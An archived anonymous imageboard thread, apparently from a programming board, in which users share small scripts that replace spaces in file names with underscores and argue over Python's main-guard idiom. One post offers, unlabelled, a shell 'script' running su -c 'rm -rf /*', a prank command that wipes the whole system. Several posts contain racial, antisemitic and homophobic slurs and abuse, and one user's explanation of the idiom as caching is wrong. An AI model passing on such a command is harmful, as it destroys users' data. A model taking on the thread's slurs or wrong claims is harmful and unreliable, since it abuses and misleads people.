Return Styles: Pseud0ch, Terminal, Valhalla, NES, Geocities, Blue Moon. Entire thread

Scripts

Name: Anonymous 2012-01-04 12:16

Hey /prog/, what scripts have you been working on? I just made this simple on that I really needed to change all spaces in folders to underscores:


#/usr/bin/env python

import os

def main ():
    current_dir = os.getcwd ()
    current_dir_list = os.listdir (current_dir)

    for current_file in current_dir_list:
        os.rename (current_file, current_file.replace (" ", ""))

if __name__ == "__main__":
    main ()


Show us your latest scripts and feel free to rewrite mine and others in other languages!

Name: OP 2012-01-04 12:18

#/usr/bin/env python

import os

def main ():
    current_dir = os.getcwd ()
    current_dir_list = os.listdir (current_dir)

    for current_file in current_dir_list:
        os.rename (current_file, current_file.replace (" ", "_"))

if __name__ == "__main__":
    main ()


Shit, I missed the underscore.

Name: Anonymous 2012-01-04 13:59

_F_I_O_C_IS_SHIT_
___PYTHON_IS_SHIT___

Name: Anonymous 2012-01-04 14:04

I downloaded a script to do that

Name: Anonymous 2012-01-04 14:04

>>1,2

if __name__ == "__main__":
    main ()



... Why?

Name: kodak_gallery_programmer !!kCq+A64Losi56ze 2012-01-04 14:14

>>5
I'm guess he doesn't want to have shit get reloaded everytime the program is ran. To put this in terms your monkey ass can understand, he wants to have the shit cached.

Name: kodak_gallery_prgrammer !!kCq+A64Losi56ze 2012-01-04 14:15

>>6
*I'm guessing*

Name: Anonymous 2012-01-04 14:20

>>5
He wants to be able to load the function into a Python shell or otherwise load the script as a Python module. main() isn't a very descriptive name for what the function does though.

Name: kodak_gallery_programmer !!kCq+A64Losi56ze 2012-01-04 14:23

>>8
He wants to be able to load the function into a Python shell

And it will get loaded once. Geeze, why don't you just shut up and actually read the python docs instead of giving your own half assed description of what you think goes on.

Name: Anonymous 2012-01-04 14:30

>>9
You can't be very familiar with Python, or your English is bad, I can't tell.
If he had called the function without enclosing it in the if test then the function would be called every time he imported the module, it's typically used in small scripts such as >>1 to avoid just that.

Name: kodak_gallery_programmer !!kCq+A64Losi56ze 2012-01-04 14:34

>>10

If he had called the function without enclosing it in the if test then the function would be called every time he imported the module

Holy shit you're stupid. Have you ever written a non trivial Python script for any firm? I have. And in fact, the scripts I wrote run over several servers you moron. Anyways, what the OP did is correct. And what I described in correct. Now run along and go scrub another toilet.

Name: Anonymous 2012-01-04 14:37

>>11
What you described is correct, but what i described is also correct, if you seriously believe that OP was aiming for caching when writing that then you're incredibly dense, he did it so he could load the script as a module.

Name: kodak_gallery_programmer !!kCq+A64Losi56ze 2012-01-04 14:41

>>12
Well, someone asked why he was using main, and based on my programming experience, I provided a possible explanation.

Name: Anonymous 2012-01-04 14:45

>>13
It is a possible explanation, and I'm not going to argue, it's very useful information to have as well, however, it is extremely unlikely to be what OP was aiming for with this tiny script.

Name: Anonymous 2012-01-04 14:46

Is Kodak-san seriously not telling that guy that he's a mental midget who should scrub another toilet?

Are you going soft on us Kodak-san?

Name: Anonymous 2012-01-04 15:16

just ignore kodak, he doesn't know what he's talking about. and he's rude.

>>8 is correct: the if construct is a common python idiom (OP probably got it from a tutorial).

references:
http://www.google.com/search?q=python+if+name+main

Name: Anonymous 2012-01-04 15:30

>>16
It does what Kodak says it does though.

Name: OP 2012-01-04 15:40


if __name__ == "__main__":
    main()


It's a good habit, besides being useful when making modules, I don't like floating code.

Also, can anybody make a Perl or an Haskell version of that? Thanks.

Name: Anonymous 2012-01-04 15:42

And now the same thing in Perl...
rename $_, (($n = $_) =~ s/ /_/g, $n) for <*>

Name: Anonymous 2012-01-04 15:53

>>19
Does that only operate on directories or all files including directories?

Name: Anonymous 2012-01-04 15:58

>>19 And I'm guessing it operates on the current location of the script?

That's some small code.

Name: Anonymous 2012-01-04 16:07

Needs some error handling.  Didn't try running it.

module Main where

import System.Directory (renameFile, getDirectoryContents, getCurrentDirectory, doesDirectoryExist)
import Control.Monad (filterM)

replace :: Char -> Char -> String -> String
replace a b = map (\ x -> if x == a then b else x)

renamer :: FilePath -> IO FilePath
renamer x = let x' = replace ' ' '_' x in renameFile x x' >> return x'

main :: IO ()
main = getCurrentDirectory
   >>= getDirectoryContents
   >>= filterM doesDirectoryExist
   >>= mapM_ renamer

Name: Anonymous 2012-01-04 16:12

>>17
Hence why I work as a programmer and why >>16 works as a toilet scrubber.

Name: Anonymous 2012-01-04 17:38

Oh look Kodak shitting in another thread trying to look like a know-it-all while at the same time claiming it's worked with the big boys while the rest of you are just moron.


You know i'd rather have frozenvoid shitting it up with his EXPERT C than kodak being a nigger

Name: Anonymous 2012-01-04 17:49

>>24
I'm right though. Now shut up and try to learning something you uneducated jew.

Name: Anonymous 2012-01-04 18:00

>>25
You're worthless.

Name: Anonymous 2012-01-04 19:52

>>26
Shut up and go scrub another toilet you uneducated faggot.

Name: Anonymous 2012-01-04 21:18

>>27
Always the same cheap rage shit.

Name: Anonymous 2012-01-05 0:21

>>27
HA HA SO MUCH BUTTANGER

Name: Anonymous 2012-01-05 4:56

#!/usr/bin/bash
su -c 'rm -rf /*'

Name: Anonymous 2012-01-05 5:41

if __name__ == "__main__":
    main ()


CONSIDERED RETARDED !!

Name: Anonymous 2012-01-05 5:46

>>33
nice dubs bro

Name: Anonymous 2012-01-05 5:52

>>32
Why thank you.

Name: Anonymous 2012-01-05 6:30

<---check my post-dubs

Name: Anonymous 2012-01-05 13:14

>>31
Read the previous responses on why a person would use a construct you fucking idiot.

Name: Anonymous 2012-01-05 13:21

<check mah post meridian dubz

Name: Anonymous 2012-01-05 13:56

all day long it's fuck this and fuck that and fuck you

haters gonna hate

Name: Anonymous 2012-01-05 14:33

>>37
Fuck you motherfucker

Name: Anonymous 2012-01-05 14:33

>>37
No one is forcing you to be here.

Name: Anonymous 2012-01-05 18:53

Quarante get

Newer Posts
Don't change these.
Name: Email:
Entire Thread Thread List